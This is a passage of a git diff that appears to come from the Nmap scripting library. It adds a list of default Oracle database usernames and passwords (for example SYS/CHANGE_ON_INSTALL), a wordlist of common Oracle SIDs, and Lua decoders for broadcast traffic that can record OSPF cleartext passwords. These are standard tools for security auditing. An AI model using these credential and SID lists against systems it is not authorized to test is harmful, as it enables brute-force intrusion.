+PARSON/PARSON
+PAT/PAT
+PATORILY/PATORILY
+PATRICKSANCHEZ/PATRICKSANCHEZ
+PATSY/PATSY
+PAUL/PAUL
+PAULA/PAULA
+PAXTON/PAXTON
+PCA1/PCA1
+PCA2/PCA2
+PCA3/PCA3
+PCA4/PCA4
+PCS1/PCS1
+PCS2/PCS2
+PCS3/PCS3
+PCS4/PCS4
+PD7333/PD7333
+PD7334/PD7334
+PD810/PD810
+PD811/PD811
+PD812/PD812
+PD9/PD9
+PDA1/PDA1
+PEARL/PEARL
+PEG/PEG
+PENNY/PENNY
+PEOPLE/PEOP1E
+PERCY/PERCY
+PERRY/PERRY
+PETE/PETE
+PEYTON/PEYTON
+PHIL/PHIL
+PJI/PJI
+PJM/PJM
+PMI/PMI
+PN/PN
+PO/PO
+POA/POA
+POLLY/POLLY
+POM/POM
+PON/PON
+PORTAL/PORTAL
+PORTAL_APP/PORTAL_APP
+PORTAL_DEMO/PORTAL_DEMO
+PORTAL_PUBLIC/PORTAL_PUBLIC
+PORTAL30/PORTAL30
+PORTAL30_DEMO/PORTAL30_DEMO
+PORTAL30_PUBLIC/PORTAL30_PUBLIC
+PORTAL30_SSO/PORTAL30_SSO
+PORTAL30_SSO_PS/PORTAL30_SSO_PS
+POS/POS
+PPM1/PPM1
+PPM2/PPM2
+PPM3/PPM3
+PPM4/PPM4
+PPM5/PPM5
+PRISTB733/PRISTB733
+PRISTCTL/PRISTCTL
+PRISTDTA/PRISTDTA
+PRODB733/PRODB733
+PRODCTL/PRODCTL
+PRODDTA/PRODDTA
+PRODUSER/PRODUSER
+PROJMFG/WELCOME
+PRP/PRP
+PS/PS
+PS810/PS810
+PS810CTL/PS810CTL
+PS810DTA/PS810DTA
+PS811/PS811
+PS811CTL/PS811CTL
+PS811DTA/PS811DTA
+PS812/PS812
+PS812CTL/PS812CTL
+PS812DTA/PS812DTA
+PSA/PSA
+PSB/PSB
+PSBASS/PSBASS
+PSEM/PSEM
+PSFT/PSFT
+PSFTDBA/PSFTDBA
+PSP/PSP
+PTADMIN/PTADMIN
+PTCNE/PTCNE
+PTDMO/PTDMO
+PTE/PTE
+PTESP/PTESP
+PTFRA/PTFRA
+PTG/PTG
+PTGER/PTGER
+PTJPN/PTJPN
+PTUKE/PTUKE
+PTUPG/PTUPG
+PTWEB/PTWEB
+PTWEBSERVER/PTWEBSERVER
+PV/PV
+PY7333/PY7333
+PY7334/PY7334
+PY810/PY810
+PY811/PY811
+PY812/PY812
+PY9/PY9
+QA/QA
+QOT/QOT
+QP/QP
+QRM/QRM
+QS/QS
+QS_ADM/QS_ADM
+QS_CB/QS_CB
+QS_CBADM/QS_CBADM
+QS_CS/QS_CS
+QS_ES/QS_ES
+QS_OS/QS_OS
+QS_WS/QS_WS
+RENE/RENE
+REPADMIN/REPADMIN
+REPORTS/REPORTS
+REPORTS_USER/OEM_TEMP
+RESTRICTED_US/RESTRICTED_US
+RG/RG
+RHX/RHX
+RLA/RLA
+RLM/RLM
+RM1/RM1
+RM2/RM2
+RM3/RM3
+RM4/RM4
+RM5/RM5
+RMAN/RMAN
+ROB/ROB
+RPARKER/RPARKER
+RWA1/RWA1
+SALLYH/SALLYH
+SAM/SAM
+SARAHMANDY/SARAHMANDY
+SCM1/SCM1
+SCM2/SCM2
+SCM3/SCM3
+SCM4/SCM4
+SCOTT/TIGER
+SDAVIS/SDAVIS
+SECDEMO/SECDEMO
+SEDWARDS/SEDWARDS
+SELLCM/SELLCM
+SELLER/SELLER
+SELLTREAS/SELLTREAS
+SERVICES/WELCOME
+SETUP/SETUP
+SH/SH
+SID/SID
+SKAYE/SKAYE
+SKYTETSUKA/SKYTETSUKA
+SLSAA/SLSAA
+SLSMGR/SLSMGR
+SLSREP/SLSREP
+SRABBITT/SRABBITT
+SRALPHS/SRALPHS
+SRAY/SRAY
+SRIVERS/SRIVERS
+SSA1/SSA1
+SSA2/SSA2
+SSA3/SSA3
+SSC1/SSC1
+SSC2/SSC2
+SSC3/SSC3
+SSOSDK/SSOSDK
+SSP/SSP
+SSS1/SSS1
+SUPPLIER/SUPPLIER
+SVM7333/SVM7333
+SVM7334/SVM7334
+SVM810/SVM810
+SVM811/SVM811
+SVM812/SVM812
+SVM9/SVM9
+SVMB733/SVMB733
+SVP1/SVP1
+SY810/SY810
+SY811/SY811
+SY812/SY812
+SY9/SY9
+SYS/WELCOME1
+SYS/MANAGER
+SYS/CHANGE_ON_INSTALL
+SYS7333/SYS7333
+SYS7334/SYS7334
+SYSADMIN/SYSADMIN
+SYSB733/SYSB733
+SYSMAN/WELCOME1
+SYSTEM/WELCOME1
+SYSTEM/MANAGER
+TDEMARCO/TDEMARCO
+TDOS_ICSAP/TDOS_ICSAP
+TESTCTL/TESTCTL
+TESTDTA/TESTDTA
+TRA1/TRA1
+TRACESVR/TRACE
+TRBM1/TRBM1
+TRCM1/TRCM1
+TRDM1/TRDM1
+TRRM1/TRRM1
+TWILLIAMS/TWILLIAMS
+UDDISYS/UDDISYS
+VEA/VEA
+VEH/VEH
+VIDEO31/VIDEO31
+VIDEO4/VIDEO4
+VIDEO5/VIDEO5
+VP1/VP1
+VP2/VP2
+VP3/VP3
+VP4/VP4
+VP5/VP5
+VP6/VP6
+WAA1/WAA1
+WAA2/WAA2
+WCRSYS/WCRSYS
+WEBDB/WEBDB
+WEBSYS/WELCOME
+WENDYCHO/WENDYCHO
+WH/WH
+WIP/WIP
+WIRELESS/WELCOME
+WIRELESS/WIRELESS
+WK_TEST/WK_TEST
+WKPROXY/WKPROXY
+WKSYS/WKSYS
+WMS/WMS
+WMSYS/WMSYS
+WPS/WPS
+WSH/WSH
+WSM/WSM
+XDB/CHANGE_ON_INSTALL
+XDO/XDO
+XDP/XDP
+XLA/XLA
+XLE/XLE
+XNB/XNB
+XNC/XNC
+XNI/XNI
+XNM/XNM
+XNP/XNP
+XNS/XNS
+XTR/XTR
+YCAMPOS/YCAMPOS
+YSANCHEZ/YSANCHEZ
+ZFA/ZFA
+ZPB/ZPB
+ZSA/ZSA
+ZX/ZX
diff --git a/nselib/data/oracle-sids b/nselib/data/oracle-sids
new file mode 100644
index 0000000..655649c
--- /dev/null
+++ b/nselib/data/oracle-sids
@@ -0,0 +1,735 @@
+#!comment: This database is made by Red Database Security and was released
+#!comment: under the Nmap license by Alexander Kornbrust.
+#!comment: Ref: http://seclists.org/nmap-dev/2009/q4/645
+ORCL
+XE
+ASDB
+IASDB
+OEMREP
+ORCL.WORLD
+ADV1
+ADVCPROD
+AIX10
+AIX11
+AIX9
+APEX
+ARIS
+ASDB0
+ASDB1
+ASDB2
+ASDB3
+ASDB4
+ASDB5
+ASDB6
+ASDB7
+ASDB8
+ASDB9
+ASG817
+ASG817P
+ASG817T
+ATRPROD
+ATRTEST
+BLA
+BOOKS
+BUDGET
+C630
+CTM4_0
+CTM4_1
+CTM4_6
+D
+D10
+D8
+D9
+DB
+DB01
+DB02
+DB03
+DB1
+DB2
+DB2EDU
+DB2PROD
+DB2TEST
+DB3
+DBA
+DBA1
+DBA2
+DBA3
+DBA4
+DBA5
+DBA6
+DBA7
+DBA8
+DBA9
+DBX
+DEMO
+DEV
+DEV0
+DEV01
+DEV1
+DEV2
+DEV3
+DEV4
+DEV5
+DEV6
+DEV7
+DEV8
+DEV9
+DEVEL
+DIA1
+DIA2
+DIS
+DWH
+DWHDB
+DWHPROD
+DWHTEST
+DWRHS
+EARTH
+ELCARO
+EMRS2
+EOF
+ERP
+ESOR
+FINDEC
+FINPROD
+FNDFS_HR1
+FNDFS_HR2
+FPRD
+GR01
+GR02
+GR03
+HCDMO
+HEDGEHOG
+HPUX10
+HPUX11
+HPUX9
+HR
+HR0
+HR1
+HR2
+HR3
+HR4
+HR5
+HR6
+HR7
+HR8
+HR9
+HRDMO
+HTMLDB
+IAGTS
+INCD
+ISD01
+ISD06
+ISP
+ISP01
+ISP1
+ISP2
+ISQ1
+ITS
+IXOS
+KRAUS
+KRONOS
+LDAP
+LIN10
+LIN11
+LIN9
+LINUX101
+LINUX1011
+LINUX1012
+LINUX1013
+LINUX1014
+LINUX1015
+LINUX102
+LINUX1021
+LINUX1022
+LINUX1023
+LINUX1024
+LINUX1025
+LINUX111
+LINUX11106
+LINUX11107
+LINUX112
+LINUX11201
+LINUX817
+LINUX8171
+LINUX8172
+LINUX8173
+LINUX8174
+LINUX901
+LINUX902
+LINUX9021
+LINUX9022
+LINUX9023
+LINUX9024
+LINUX9025
+LINUX9026
+LINUX9027
+LINUX9028
+LINUX92
+LINUX9208
+LUN
+MDTEST
+MSAM
+MV713
+MYDB
+NEDB
+NORTHWIND
+OAS
+OAS1
+OAS10
+OAS2
+OAS3
+OAS4
+OAS5
+OAS6
+OAS7
+OAS8
+OAS9
+ODB
+OGDP
+OID
+OJS
+OMS
+ORA
+ORA1
+ORA10
+ORA101
+ORA10101
+ORA10101P
+ORA10101T
+ORA10102
+ORA10102P
+ORA10102T
+ORA10103
+ORA10103P
+ORA10103T
+ORA10104
+ORA10104P
+ORA10104T
+ORA10105
+ORA10105P
+ORA10105T
+ORA1011
+ORA1011P
+ORA1011T
+ORA1012
+ORA1012P
+ORA1012T
+ORA1013
+ORA1013P
+ORA1013T
+ORA1014
+ORA1014P
+ORA1014T
+ORA1015
+ORA1015P
+ORA1015T
+ORA1021
+ORA1021P
+ORA1021T
+ORA1022
+ORA1022P
+ORA1022T
+ORA1023
+ORA1023P
+ORA1023T
+ORA1024
+ORA1024P
+ORA1024T
+ORA1025
+ORA1025P
+ORA1025T
+ORA11
+ORA111
+ORA11106
+ORA11107
+ORA112
+ORA11201
+ORA11202
+ORA11g
+ORA2
+ORA3
+ORA4
+ORA5
+ORA6
+ORA7
+ORA8
+ORA805
+ORA806
+ORA815
+ORA816
+ORA817
+ORA8170
+ORA8170P
+ORA8170T
+ORA8171
+ORA8171P
+ORA8171T
+ORA8172
+ORA8172P
+ORA8172T
+ORA8173
+ORA8173P
+ORA8173T
+ORA8174
+ORA8174P
+ORA8174T
+ORA8_SC
+ORA9
+ORA910
+ORA920
+ORA9201
+ORA9201P
+ORA9201T
+ORA9202
+ORA9202P
+ORA9202T
+ORA9203
+ORA9203P
+ORA9203T
+ORA9204
+ORA9204P
+ORA9204T
+ORA9205
+ORA9205P
+ORA9205T
+ORA9206
+ORA9206P
+ORA9206T
+ORA9207
+ORA9207P
+ORA9207T
+ORA9208
+ORA9208P
+ORA9208T
+ORACL
+ORACLE
+ORADB
+ORADB1
+ORADB2
+ORADB3
+ORALIN
+ORCL0
+ORCL1
+ORCL10
+ORCL10G
+ORCL11
+ORCL11G
+ORCL2
+ORCL3
+ORCL4
+ORCL5
+ORCL6
+ORCL7
+ORCL8
+ORCL9
+ORCLA
+ORCLB
+ORCLC
+ORCLD
+ORCLE
+ORCLF
+ORCLG
+ORCLH
+ORCLI
+ORCLJ
+ORCLK
+ORCLL
+ORCLM
+ORCLN
+ORCLO
+ORCLP
+ORCLP0
+ORCLP1
+ORCLP2
+ORCLP3
+ORCLP4
+ORCLP5
+ORCLP6
+ORCLP7
+ORCLP8
+ORCLP9
+ORCLQ
+ORCLR
+ORCLS
+ORCLSOL
+ORCLT
+ORCLU
+ORCLV
+ORCLW
+ORCLX
+ORCLY
+ORCLZ
+ORIONDB
+ORTD
+P
+P10
+P10G
+P8
+P8I
+P9
+P9I
+PD1
+PINDB
+PORA10101
+PORA10102
+PORA10103
+PORA10104
+PORA10105
+PORA1011
+PORA1012
+PORA1013
+PORA1014
+PORA1015
+PORA1021
+PORA1022
+PORA1023
+PORA1024
+PORA1025
+PORA11106
+PORA11107
+PORA11201
+PORA11202
+PORA8170
+PORA8171
+PORA8172
+PORA8173
+PORA8174
+PORA9201
+PORA9202
+PORA9203
+PORA9204
+PORA9205
+PORA9206
+PORA9207
+PORA9208
+PRD
+PRITXI
+PROD
+PROD0
+PROD1
+PROD10
+PROD10G
+PROD11
+PROD11G
+PROD2
+PROD3
+PROD4
+PROD5
+PROD6
+PROD7
+PROD8
+PROD8I
+PROD9
+PROD920
+PROD9I
+PROG10
+QM
+QS
+RAB1
+RAC
+RAC1
+RAC2
+RAC3
+RAC4
+RDB
+RDS
+RECV
+REP
+REP0
+REP1
+REP2
+REP3
+REP4
+REP5
+REP6
+REP7
+REP8
+REP9
+REPO
+REPO0
+REPO1
+REPO2
+REPO3
+REPO4
+REPO5
+REPO6
+REPO7
+REPO8
+REPO9
+REPOS
+REPOS0
+REPOS1
+REPOS2
+REPOS3
+REPOS4
+REPOS5
+REPOS6
+REPOS7
+REPOS8
+REPOS9
+REPSCAN
+RIPPROD
+RITCTL
+RITDEV
+RITPROD
+RITQA
+RITTRN
+RITTST
+SA0
+SA1
+SA2
+SA3
+SA4
+SA5
+SA6
+SA7
+SA8
+SA9
+SAA
+SAB
+SAC
+SAD
+SAE
+SAF
+SAG
+SAH
+SAI
+SAJ
+SAK
+SAL
+SALES
+SAM
+SAMPLE
+SAN
+SANIPSP
+SAO
+SAP
+SAP0
+SAP1
+SAP2
+SAP3
+SAP4
+SAP5
+SAP6
+SAP7
+SAP8
+SAP9
+SAPHR
+SAQ
+SAR
+SAS
+SAT
+SAU
+SAV
+SAW
+SAX
+SAY
+SAZ
+SDB
+SENTRIGO
+SES
+SGNT
+SID0
+SID1
+SID2
+SID3
+SID4
+SID5
+SID6
+SID7
+SID8
+SID9
+SIP
+SOL10
+SOL11
+SOL9
+STAG1
+STAG2
+T1
+T10
+T101
+T102
+T2
+T3
+T4
+T7
+T71
+T72
+T73
+T8
+T80
+T81
+T82
+T9
+T91
+T92
+TEST
+TEST10G
+TEST11G
+TEST9I
+TESTORCL
+THUMPER
+TRC28
+TRIUMF
+TSH1
+TSM
+TST
+TST0
+TST1
+TST2
+TST3
+TST4
+TST5
+TST6
+TST7
+TST8
+TST9
+TYCP
+UNIX101
+UNIX1011
+UNIX1012
+UNIX1013
+UNIX1014
+UNIX1015
+UNIX102
+UNIX1021
+UNIX1022
+UNIX1023
+UNIX1024
+UNIX1025
+UNIX817
+UNIX8171
+UNIX8172
+UNIX8173
+UNIX8174
+UNIX901
+UNIX902
+UNIX9021
+UNIX9022
+UNIX9023
+UNIX9024
+UNIX9025
+UNIX9026
+UNIX9027
+UNIX9028
+V713
+VENOM
+VENU
+VISTA
+W101
+W1011
+W1012
+W1013
+W1014
+W1015
+W102
+W1021
+W1022
+W1023
+W1024
+W1025
+W111
+W11102
+W11106
+W11107
+W112
+W11201
+W817
+W8171
+W8172
+W8173
+W8174
+W901
+W902
+W9021
+W9022
+W9023
+W9024
+W9025
+W9026
+W9027
+W9028
+WEB
+WEB1
+WEB10
+WEB2
+WEB3
+WEB4
+WEB5
+WEB6
+WEB7
+WEB8
+WEB9
+WEBDEV
+WG73
+WIN101
+WIN1011
+WIN1012
+WIN1013
+WIN1014
+WIN1015
+WIN102
+WIN1021
+WIN1022
+WIN1023
+WIN1024
+WIN1025
+WIN11
+WIN111
+WIN11106
+WIN11107
+WIN112
+WIN11201
+WIN11202
+WIN7
+WIN817
+WIN8171
+WIN8172
+WIN8173
+WIN8174
+WIN901
+WIN902
+WIN9021
+WIN9022
+WIN9023
+WIN9024
+WIN9025
+WIN9026
+WIN9027
+WIN9028
+WINDOWS101
+WINDOWS1011
+WINDOWS1012
+WINDOWS1013
+WINDOWS1014
+WINDOWS1015
+WINDOWS102
+WINDOWS1021
+WINDOWS1022
+WINDOWS1023
+WINDOWS1024
+WINDOWS1025
+WINDOWS11
+WINDOWS111
+WINDOWS11106
+WINDOWS11107
+WINDOWS112
+WINDOWS11201
+WINDOWS11202
+WINDOWS817
+WINDOWS8171
+WINDOWS8172
+WINDOWS8173
+WINDOWS8174
+WINDOWS901
+WINDOWS902
+WINDOWS9021
+WINDOWS9022
+WINDOWS9023
+WINDOWS9024
+WINDOWS9025
+WINDOWS9026
+WINDOWS9027
+WINDOWS9028
+XEXDB
+XE_XPT
diff --git a/nselib/data/packetdecoders.lua b/nselib/data/packetdecoders.lua
new file mode 100644
index 0000000..5fd8144
--- /dev/null
+++ b/nselib/data/packetdecoders.lua
@@ -0,0 +1,936 @@
+local ipOps = require "ipOps"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+--- The following file contains a list of decoders used by the
+-- broadcast-listener script. A decoder can be either "ethernet" based or IP
+-- based. As we're only monitoring broadcast traffic (ie. traffic not
+-- explicitly addressed to us) we're mainly dealing with:
+-- o UDP broadcast or multicast traffic
+-- o ethernet broadcast traffic
+--
+-- Hence, the Decoder table defines two sub tables ether and udp.
+-- In order to match an incoming UDP packet the destination port number is
+-- used, therefore each function is indexed based on their destination port
+-- for the udp based decoders. For the ether table each decoder function is
+-- indexed according to a pattern that the decoding engine attempts to match.
+--
+-- Each decoder defines three functions:
+-- o <code>new</code> - creates a new instance of the decoder
+-- o <code>process</code> - process a packet passed through the
+-- <code>data</code> argument.
+-- o <code>getResults</code> - retrieve any discovered results
+--
+-- The discovery engine creates an instance of each decoder once it's needed.
+-- Then discovery engine stores this instance in a decoder table for reference
+-- once the next packet of the same type comes in. This allows the engine to
+-- discard duplicate packets and to request the collected results at the end
+-- of the session.
+--
+-- Currently, the packet decoder decodes the following protocols:
+-- o Ether
+-- x ARP requests (IPv4)
+-- x CDP - Cisco Discovery Protocol
+-- x EIGRP - Cisco Enhanced Interior Gateway Routing Protocol
+-- x OSPF - Open Shortest Path First
+--
+-- o UDP
+-- x DHCP
+-- x Netbios
+-- x SSDP
+-- x HSRP
+-- x DropBox
+-- x Logitech SqueezeBox Discovery
+-- x Multicast DNS/Bonjour/ZeroConf
+-- x Spotify
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.2
+-- Created 07/25/2011 - v0.1 - created by Patrik Karlsson
+-- 02/12/2012 - v0.2 - added support for EIGRP - Tom Sellers
+-- 07/13/2012 - v0.3 - added support for OSPF - Hani Benhabiles
+
+Decoders = {
+
+ ether = {
+
+ -- ARP IPv4
+ ['^00..08000604'] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, data)
+ stdnse.debug1("Process ARP")
+ local hw, proto, hwsize, protosize, opcode, pos = string.unpack(">I2 I2 BB I2", data)
+ stdnse.debug1("hwsize = %d; opcode = %d", hwsize, opcode)
+
+ -- this shouldn't ever happen, given our filter
+ if ( hwsize ~= 6 ) then return end
+
+ -- if this isn't an ARP request, abort
+ if ( opcode ~= 1 ) then return end
+
+ local src_mac, src_ip, dst_mac, dst_ip, pos = string.unpack(">c6 c4 c6 c4", data, pos)
+ stdnse.debug1("unpacked addresses")
+ if ( not(self.results) ) then
+ self.results = tab.new(3)
+ tab.addrow(self.results, 'sender ip', 'sender mac', 'target ip')
+ end
+
+ src_mac = stdnse.format_mac(src_mac)
+ --dst_mac = stdnse.format_mac(dst_mac)
+ src_ip = ipOps.str_to_ip(src_ip)
+ dst_ip = ipOps.str_to_ip(dst_ip)
+ stdnse.debug1("Decoded ARP: %s, %s, %s", src_ip, src_mac, dst_ip)
+ if not self.dups[src_ip .. src_mac] then
+ if target.ALLOW_NEW_TARGETS then target.add(src_ip) end
+ self.dups[src_ip .. src_mac] = true
+ tab.addrow(self.results, src_ip, src_mac, dst_ip)
+ end
+
+ end,
+
+ getResults = function(self) return { name = "ARP Request", (self.results and tab.dump(self.results)) } end,
+ },
+
+ -- CDP
+ ['^AAAA..00000C2000'] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ getAddresses = function(data)
+ local addr_list = {}
+
+ local count, pos = string.unpack(">I4", data)
+ for i=1, count do
+ local proto_type, addr_proto
+ proto_type, addr_proto, pos = string.unpack(">B s1", data, pos)
+ if ( addr_proto == '\xCC' -- IPv4
+ or addr_proto == '\xaa\xaa\x03\x00\x00\x00\x08\x00' -- IPv6
+ ) then
+ local dev_addr
+ dev_addr, pos = string.unpack(">s2", data, pos)
+ addr_list[#addr_list+1] = ipOps.str_to_ip(dev_addr)
+ end
+ -- Add code here for other address types
+ end
+
+ return table.concat(addr_list, ' ')
+ end,
+
+ process = function(self, data)
+
+ local ver, ttl, chk, pos = string.unpack(">BB I2", data, 9)
+ if ( ver ~= 2 ) then return end
+ if ( not(self.results) ) then
+ self.results = tab.new(5)
+ tab.addrow( self.results, 'ip', 'id', 'platform', 'version', 'notes' )
+ end
+
+ local result_part = {}
+ result_part.notes = ''
+ while ( pos < #data ) do
+ local typ, len, typdata
+ typ, len, pos = string.unpack(">I2 I2", data, pos)
+ typdata, pos = string.unpack("c" .. len - 4, data, pos)
+
+ -- Device ID
+ if ( typ == 1 ) then
+ result_part.id = typdata
+ -- Version
+ elseif ( typ == 5 ) then
+ result_part.version = typdata:match(", Version (.-),")
+ -- Platform
+ elseif ( typ == 6 ) then
+ result_part.platform = typdata
+ -- Address
+ elseif ( typ == 2 ) then
+ result_part.ip = self.getAddresses(typdata)
+ elseif ( typ == 10) then
+ local mgmt_vlan = string.unpack(">I2", data,pos - 2)
+ result_part.notes = result_part.notes .. 'native vlan:' .. mgmt_vlan .. ' '
+ -- Management Address
+ elseif ( typ == 22 ) then
+ result_part.notes = result_part.notes .. 'mgmt ip:' .. self.getAddresses(typdata) .. ' '
+ -- TODO: add more decoding of types here ...
+ end
+ end
+
+ -- TODO: add code for dups check
+ if ( not(self.dups[result_part.ip]) ) then
+ self.dups[result_part.ip] = true
+ tab.addrow( self.results, result_part.ip, result_part.id, result_part.platform, result_part.version, result_part.notes )
+ end
+ end,
+
+ getResults = function(self) return { name = "CDP", (self.results and tab.dump(self.results) or "") } end,
+ },
+
+
+ -- EIGRP Update
+ ['0201....0000'] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ -- EIGRP is IP protocol 88 (0x58), so verify this
+ if ( p.ip_p ~= 88 ) then return end
+
+ local data = layer3:sub(p.ip_data_offset + 1)
+ local eigrp = require("eigrp")
+ local route_type, proto_name
+ -- Extract the EIGRP header
+ local response = eigrp.EIGRP.parse(data)
+
+ if response then
+ -- Iterate over tlv tables
+ for _, tlv in pairs(response.tlvs) do
+ if eigrp.EIGRP.isRoutingTLV(tlv.type) then
+ if ( not(self.results) ) then
+ self.results = tab.new(7)
+ tab.addrow(self.results, 'Sender IP', 'AS#', 'Route Type', 'Destination', 'Next hop', 'Ext Protocol', 'Orig Router ID')
+ end
+ if tlv.type == 0x102 then
+ route_type = "Internal"
+ elseif tlv.type == 0x103 then
+ route_type = "External"
+ for name, value in pairs(eigrp.EXT_PROTO) do
+ if value == tlv.eproto then
+ proto_name = name
+ break
+ end
+ end
+ end
+ if ( not(self.dups[("%s:%s:s:%s"):format(p.ip_src, response.as, tlv.type, tlv.dst)]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ self.dups[("%s:%s:%s:%s"):format(p.ip_src, response.as, tlv.type, tlv.dst)] = true
+ tab.addrow( self.results, p.ip_src, response.as, route_type, tlv.dst, tlv.nexth, proto_name or 'X', tlv.orouterid or 'X')
+ end
+ end
+ end
+ end
+ end,
+
+ getResults = function(self) return { name = "EIGRP Update", (self.results and tab.dump(self.results) or "") } end,
+ },
+
+ ['0205....0000'] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+
+ local p = packet.Packet:new( layer3, #layer3 )
+ -- EIGRP is IP protocol 88 (0x58), so verify this
+ if ( p.ip_p ~= 88 ) then return end
+
+ local data = layer3:sub(p.ip_data_offset + 1)
+ local eigrp = require("eigrp")
+ -- Extract the EIGRP header
+ local response = eigrp.EIGRP.parse(data)
+ -- See if Software version TLV is included
+ local swvertlv
+ for num, tlv in pairs(response.tlvs) do
+ if tlv.type == eigrp.TLV.SWVER then
+ swvertlv = num
+ end
+ end
+
+ if swvertlv then
+ if ( not(self.results) ) then
+ self.results = tab.new(5)
+ tab.addrow(self.results, 'Sender IP', 'AS number', 'EIGRP version', 'IOS version')
+ end
+
+ if ( not(self.dups[("%s:%s"):format(p.ip_src,response.as)]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ self.dups[("%s:%s"):format(p.ip_src,response.as)] = true
+ tab.addrow( self.results, p.ip_src, response.as, response.tlvs[swvertlv].majv .. '.' .. response.tlvs[swvertlv].minv, response.tlvs[swvertlv].majtlv .. '.' .. response.tlvs[swvertlv].mintlv)
+ end
+ end
+ end,
+
+ getResults = function(self) return { name = "EIGRP Hello", (self.results and tab.dump(self.results) or "") } end,
+ },
+
+ -- OSPF
+ ['02010'] = { -- OSPFv2 Hello packet
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ -- IP Protocol is 89 for OSPF
+ if p.ip_p ~= 89 then return end
+
+ local ospf = require("ospf")
+ local data = layer3:sub(p.ip_data_offset + 1)
+ local header = ospf.OSPF.Header.parse(data)
+ if header then
+ if not(self.results) then
+ self.results = tab.new(5)
+ tab.addrow(self.results, 'Source IP', 'Router ID', 'Area ID', 'Auth Type', 'Password')
+ end
+ local srcip = p.ip_src
+ local areaid = header.area_id
+ local routerid = header.router_id
+ local authtype = header.auth_type
+ local authdata
+
+ -- Format authentication type and data
+ if header.auth_type == 0 then
+ authtype = "None"
+ authdata = ''
+ elseif header.auth_type == 1 then
+ authtype = "Password"
+ authdata = header.auth_data.password
+ elseif header.auth_type == 2 then
+ authtype = "OSPF MD5"
+ authdata = "" -- Not really helpful, as the MD5
+ -- is applied to the whole packet+password
+ else
+ -- Error
+ stdnse.debug1("Unknown OSPF auth type %d", header.auth_type)
+ return
+ end
+
+ if ( not(self.dups[("%s:%s"):format(routerid,areaid)]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(routerid) end
+ self.dups[("%s:%s"):format(routerid,areaid)] = true
+ tab.addrow( self.results, srcip, routerid, areaid, authtype, authdata)
+ end
+ else
+ return nil
+ end
+ end,
+
+ getResults = function(self) return { name = "OSPF Hello", (self.results and tab.dump(self.results)) } end,
+ },
+},
+
+udp = {
+
+ -- DHCP
+ [68] = {
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ getOption = function(options, name)
+ for _, v in ipairs(options) do
+ if ( v.name == name ) then
+ if ( type(v.value) == "table" ) then
+ return table.concat(v.value, ", ")
+ else
+ return v.value
+ end
+ end
+ end
+ end,
+
+ process = function(self, layer3)
+ local dhcp = require("dhcp")
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ -- the dhcp.parse function isn't optimal for doing
+ -- this, but it will do for now. First, we need to
+ -- extract the xid as the parse function checks that it
+ -- was the same as in the request, which we didn't do.
+ local msgtype, xid = string.unpack("<B xxx c4", data)
+
+ -- attempt to parse the data
+ local status, result = dhcp.dhcp_parse(data, xid)
+
+ if ( status ) then
+ if ( not(self.results) ) then
+ self.results = tab.new(6)
+ tab.addrow(self.results, "srv ip", "cli ip", "mask", "gw", "dns", "vendor" )
+ end
+ local uniq_key = ("%s:%s"):format(p.ip_src, result.yiaddr_str)
+
+ if ( not(self.dups[uniq_key]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ local mask = self.getOption(result.options, "Subnet Mask") or "-"
+ local gw = self.getOption(result.options, "Router") or "-"
+ local dns = self.getOption(result.options, "Domain Name Server") or "-"
+ local vendor = self.getOption(result.options, "Class Identifier") or "-"
+ stdnse.debug1("Decoded DHCP: %s, %s, %s, %s, %s, %s", p.ip_src, result.yiaddr_str, mask, gw, dns, vendor)
+ tab.addrow(self.results, p.ip_src, result.yiaddr_str, mask, gw, dns, vendor )
+ end
+ end
+ end,
+
+ getResults = function(self) return { name = "DHCP", (self.results and tab.dump(self.results) or "") } end,
+ },
+
+ -- Netbios
+ [137] = {
+
+ new = function(self)
+ local o = {
+ reg_dups = {},
+ query_dups = {},
+ reg_result = tab.new(2),
+ query_result = tab.new(2)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local dns = require('dns')
+ local netbios = require('netbios')
+ local tab = require('tab')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local dresp = dns.decode(data)
+ if ( not(dresp.questions) or #dresp.questions < 1 ) then return end
+
+ local name = netbios.name_decode("\32" .. dresp.questions[1].dname)
+
+ local function add_record(isreg, ip, name)
+ local res = (isreg and self.reg_result or self.query_result)
+ local dup = (isreg and self.reg_dups or self.query_dups)
+
+ if ( #res == 0 ) then
+ tab.addrow(res, 'ip', 'query')
+ end
+ stdnse.debug1('Decoded Netbios(%s): %s, %s', (isreg and "Registration" or "Query"), ip, name)
+
+ if ( not(dup[ip]) or not(dup[ip][name]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ tab.addrow(res, ip, name)
+ dup[ip] = dup[ip] or {}
+ dup[ip][name] = true
+ end
+ end
+ add_record( ( dresp.flags.OC2 and dresp.flags.OC4 ), p.ip_src, name )
+ end,
+
+ getResults = function(self)
+ local result = { name = "Netbios" }
+ if ( #self.reg_result > 1) then
